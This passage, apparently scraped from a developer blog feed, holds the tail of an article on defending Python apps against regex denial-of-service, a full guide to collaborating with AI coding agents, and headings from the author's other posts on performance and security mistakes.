    return bool(MODERN_SAFE_REGEX.match(user_input))

Even a vulnerable regex becomes far less dangerous when it's only ever fed strings under, say, 128 characters. Exponential growth is exponential, but it still takes a meaningful string length before the slowdown becomes severe. A hard cap upstream buys you a real safety margin even if a vulnerable pattern slips through review somewhere else.

For systems where the stakes are higher, use a regex engine with an explicit timeout. Python's built-in re module doesn't support timeouts natively, but the third-party regex package does:

import regex

SAFE_REGEX = regex.compile(
    r"^[a-zA-Z0-9_]*$",
    timeout=0.05
)

With a timeout in place, even a pathological input that somehow gets past your other defenses can only burn CPU for a bounded amount of time before the match attempt is aborted. This turns a potential full outage into, at worst, a single failed request.

The takeaway

Every regular expression that processes input coming from outside your system, a user, an API client, an uploaded file, is a potential denial-of-service vector, and most of the time it looks completely harmless until someone goes looking for the right input to break it.

🔴 Going Live: 5 Real Exploits, Straight From Code Crimes

SQL injection. Broken access control. A password reset bypass that takes one single character. And more, walked through live, straight out of my upcoming book, Code Crimes.

📅 July 18, 2026 · 7:00 PM (WAT)
📍 Facebook Live · Free to attend
👉 https://facebook.com/share/1DtgRk8WLH

A few habits make this risk manageable:

Avoid nesting one repetition group inside another unless you've specifically checked whether the nesting is even necessary. Often it isn't, and a flatter pattern does the same job in linear time.

Set a hard length limit on any input before it reaches a regex, regardless of how confident you are in the pattern itself. It costs you one line of code and removes an entire category of worst-case behavior.

If you're on Python 3.11 or later and genuinely need grouping, reach for possessive quantifiers or atomic groups rather than ordinary backtracking groups.

For anything security-sensitive, consider an engine that supports a hard timeout, so a single bad match attempt can never become a single bad outage.

And test for this deliberately. Don't just test your regex against valid input, that will always look fast. Test it against long, almost-valid strings that fail right at the very end. If your matching time grows faster than linearly as you lengthen that input, you've found a ReDoS bug before an attacker did.

Stop Fighting Your AI Coding Agent: A Developer's Guide to Thinking in Collaboration, Not Commands

Akeem O. Salau — Sun, 31 May 2026 08:30:06 +0000

Most developers treat AI coding agents like a search engine that writes code. That is the root of every frustration. This guide reframes how you think about AI pair programming so you spend less time wrestling and more time shipping.

The Real Problem Is Not the AI

If you have ever watched an AI agent confidently refactor your entire codebase in the wrong direction, you know the particular dread that follows. You paste in a long prompt, wait, and then receive something that technically compiles but bears no resemblance to what you meant. So you re-prompt, re-explain, and re-iterate until frustration tips into rage.

Here is what nobody tells you upfront: the AI did not fail. Your mental model of what the AI is doing was just incomplete. The frustration is almost never a capability gap. It is a collaboration gap.

Reframe: An AI coding agent is not an autocomplete engine with ambitions. It is a highly capable but context-blind collaborator who has read every programming book ever written but has never once seen your project, your team conventions, or what you meant when you said "clean this up."

Understand What the Agent Actually Sees

Every frustrating interaction with an AI agent traces back to one core mismatch: you are thinking in full project context, and the agent is thinking in token windows. It cannot smell the legacy code debt three files over. It does not know that "the old auth system" refers to a module you are actively deprecating. It only knows what you gave it, plus everything it learned from training.

This is not a flaw you work around. It is the constraint you design around. Once you accept that the agent needs context served to it explicitly rather than assumed, the whole dynamic shifts from you being disappointed by it to you being a skilled director who knows how to brief your most capable contractor.

Give It a Role Before You Give It a Task

One of the highest-leverage habits in agentic coding is front-loading your prompt with a clear role definition before any instruction. Not just "you are a senior engineer" but something more specific: "You are refactoring a Node.js API that uses Express and Prisma, and our convention is to never mutate request objects. Keep changes minimal and backward-compatible."

Role-setting collapses half the back-and-forth before it ever starts. The agent now has a lens through which to evaluate every decision it makes. Without a role, it optimizes for generic correctness. With a role, it optimizes for your correctness.

A common mistake: asking the agent to both understand AND implement in one shot on a complex task. Break those into two sequential prompts. Ask it to explain its approach first. You will catch misunderstandings at the cheapest possible moment, before any code is written.

Treat Long Sessions Like a Conversation With a Forgetful Genius

Agentic sessions decay. The longer a coding thread goes, the more likely the agent is operating on diluted context. It starts making decisions based on its most recent exchanges rather than your earliest setup instructions. This is not a bug. This is physics. Context windows have limits.

The practical fix is periodic resetting. After completing any meaningful milestone in a session, summarize the current state yourself and paste it into a fresh session. Yes, this feels manual. But it eliminates the ghost instructions that silently corrupt long runs. Think of it as committing your working memory to disk before the power goes out.

Scope Is the Single Most Underrated Prompt Skill

The developers who work most fluidly with AI agents share one trait: they are ruthless about scope. Every prompt they write targets one specific, bounded thing. Not "refactor my auth module" but "in auth/middleware.ts, replace the manual token expiry check on line 48 with a call to the existing validateTokenExpiry utility and handle the two error cases it can throw."

Tight scope means tight output. Tight output means fast review. Fast review means fewer spirals. The agent can handle big tasks. Your frustration tolerance usually cannot. Slice the problem until you can evaluate the agent's output in under two minutes.

Use AI Agents for Thinking, Not Just Typing

Most developers invoke their agent only when they want code produced. This leaves enormous value on the table. The most frustration-free developers use the agent as a thinking partner long before they need output. They paste in a failing test and ask the agent what is likely wrong. They describe a system they are about to build and ask the agent to poke holes in the design. They share a vague requirement and ask it to surface the ambiguities before any implementation begins.

When you use the agent for thinking, you arrive at the code-generation phase with far fewer surprises. The agent then functions in its strongest mode: executing a well-defined plan rather than improvising a poorly-defined one.

Review Agent Output Like a Senior Engineer, Not a Rubber Stamp

Here is where a lot of developers quietly set themselves up for frustration: they accept agent output without real scrutiny, ship it, and then spend three hours debugging something the agent introduced. The agent is not to blame. Accepting code without review is always on the developer.

Build a fast review habit. Check that the agent touched only what you asked it to touch. Scan for new dependencies it introduced without telling you. Run your tests before moving on. The review step is not a tax on using AI. It is the step that makes everything else trustworthy.

A strong mental model: think of the agent as a very fast junior developer who produces solid first drafts. You would never ship a junior's draft unread. Same rule applies here, regardless of how confident the output looks.

Manage Your Emotional State as Part of the Workflow

Frustration with AI agents compounds when it goes unmanaged. You send a worse prompt when you are irritated. The agent produces a worse result. You are more irritated. The spiral is real, and the entry point is almost always a prompt written in haste or emotion.

The professional move is to treat a bad agent output the way you would treat a failed test. Something in the setup was wrong. Diagnose, adjust, and retry with a clearer head. Take the prompt you wrote in frustration and rewrite it with the precision of a bug report. Be specific about what went wrong, what you expected, and what you need different.

Build a Prompt Library You Actually Use

The developers who are most calm around agentic tools have a personal collection of prompt patterns that work for them. Not a generic list downloaded from a blog post, but actual prompts they have refined through real use: their preferred way to kick off a debugging session, their standard context block for their main codebase, their template for asking the agent to review rather than rewrite.

Over time, this library becomes a system. You stop drafting every prompt from scratch and start assembling from known-good pieces. The cognitive load drops, the outputs improve, and the frustration disappears almost entirely.

Agentic Coding Is a Skill, Not a Shortcut

The developers who feel most at home with AI coding agents are not the ones who found a magic prompt or a better model. They are the ones who invested time in understanding how to communicate effectively with a system that is genuinely different from every tool they used before.

Treat it like learning a new language. The early stages are awkward and occasionally embarrassing. The middle stages involve a lot of translation overhead. But once the communication clicks, you are building at a speed that would have seemed unrealistic two years ago.

The frustration was never a sign you should stop. It was always a signal about where the collaboration needed to improve. Now you know exactly where to look.

DEV Community: Akeem O. Salau

Blocking the Event Loop: The Quiet Way Your App Falls Apart at 2PM on a Tuesday

What "Blocking the Event Loop" Actually Means

The Real Cost, In Numbers Teams Actually Feel

Why Smart Developers Still Make This Mistake

Spotting It Before It Spots You

This Is Exactly the Kind of Mistake Code Crimes Was Written to Catch

The innerHTML Loop Disaster: Massive Reflows and Blatant DOM XSS in One Line

Crime One: The Reflow Disaster

Crime Two: The Blatant DOM XSS

The Real World Impact

The Professional Fix

This Mistake Is Not Only a JavaScript Problem

Where This Fits Into the Bigger Picture

Linear Search Bottlenecks: How in_array() Inside a Loop Quietly Wrecks Your App's Speed

What in_array() Is Actually Doing

The Numbers Do Not Lie

The Professional Fix

PHP: flip it into keys and use isset()

JavaScript: reach for a Set

Python: swap the list for a set

Why This Crime Keeps Happening

The Midnight Call That Exposed a Silent Killer in a Laravel Store

When Five Minutes Feels Like Forever

Digging Into the Code

The Real Culprit Hiding in Plain Sight

Finding the Exact Breaking Point

The Fix

What This Incident Actually Taught Me

If You Are Running Laravel in Production, Check These Things

The Hidden Security and Performance Mistakes Killing Your Python, PHP, and JavaScript Projects

Why Security and Performance Are Two Sides of the Same Coin

The Python Mistakes Developers Keep Repeating

PHP's Silent Killers

JavaScript's Speed and Security Traps

The Real Cost of Ignoring These Mistakes

How to Fix This Before It Costs You

Get the book:

This One Regex Line Can Take Your Python App Offline (And You'd Never Suspect It)

The setup: a regex that looks completely reasonable

Why this happens: nested quantifiers are ambiguous

The professional impact: this is a denial-of-service vector, not a quirky edge case

The fix: stop the engine from backtracking

Defense in depth: length limits and timeouts

The takeaway

🔴 Going Live: 5 Real Exploits, Straight From Code Crimes

A few habits make this risk manageable:

Stop Fighting Your AI Coding Agent: A Developer's Guide to Thinking in Collaboration, Not Commands

The Real Problem Is Not the AI

Understand What the Agent Actually Sees

Give It a Role Before You Give It a Task

Treat Long Sessions Like a Conversation With a Forgetful Genius

Scope Is the Single Most Underrated Prompt Skill

Use AI Agents for Thinking, Not Just Typing

Review Agent Output Like a Senior Engineer, Not a Rubber Stamp

Manage Your Emotional State as Part of the Workflow

Build a Prompt Library You Actually Use

Agentic Coding Is a Skill, Not a Shortcut

What `in_array()` Is Actually Doing

PHP: flip it into keys and use `isset()`